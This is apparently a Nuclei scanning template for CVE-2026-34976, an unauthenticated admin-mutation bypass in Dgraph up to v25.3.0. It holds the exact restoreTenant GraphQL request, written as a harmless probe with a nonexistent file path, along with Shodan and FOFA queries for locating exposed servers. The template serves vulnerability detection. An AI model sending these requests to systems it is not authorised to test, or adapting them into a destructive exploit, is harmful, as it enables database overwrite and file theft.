Dgraph <=v25.3.0 - Admin Mutation Missing Authorization

id: CVE-2026-34976

info:
  name: Dgraph <=v25.3.0 - Admin Mutation Missing Authorization
  author: str4k3r
  severity: critical
  description: |
    Dgraph <=v25.3.0 contains an authentication bypass caused by missing authorization middleware for the restoreTenant admin mutation, letting unauthenticated attackers overwrite the database, read files, and perform SSRF, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can overwrite the database, read server files, and perform SSRF, leading to full data compromise and server access.
  remediation: |
    Update to version 25.3.1 or later.
  reference:
    - https://github.com/hypermodeinc/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34976
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-34976
    epss-score: 0.01655
    epss-percentile: 0.75538
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 3
    vendor: hypermodeinc
    product: dgraph
    shodan-query: title:"Dgraph"
    fofa-query: body="dgraph"
  tags: cve,cve2026,dgraph,auth-bypass,ssrf

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "dgraph", "Dgraph")'
        condition: and
        internal: true

  - raw:
      - |
        POST /admin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query": "mutation { restore(input: { location: \"file:///nonexistent-cve-34976-probe/\" }) { code message } }"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "unauthorized ip address")'
        condition: and
        internal: true

  - raw:
      - |
        POST /admin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///nonexistent-cve-34976-probe/\" }, fromNamespace: 0 }) { code message } }"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "restoreTenant")'
          - '!contains(body, "unauthorized ip address")'
        condition: and
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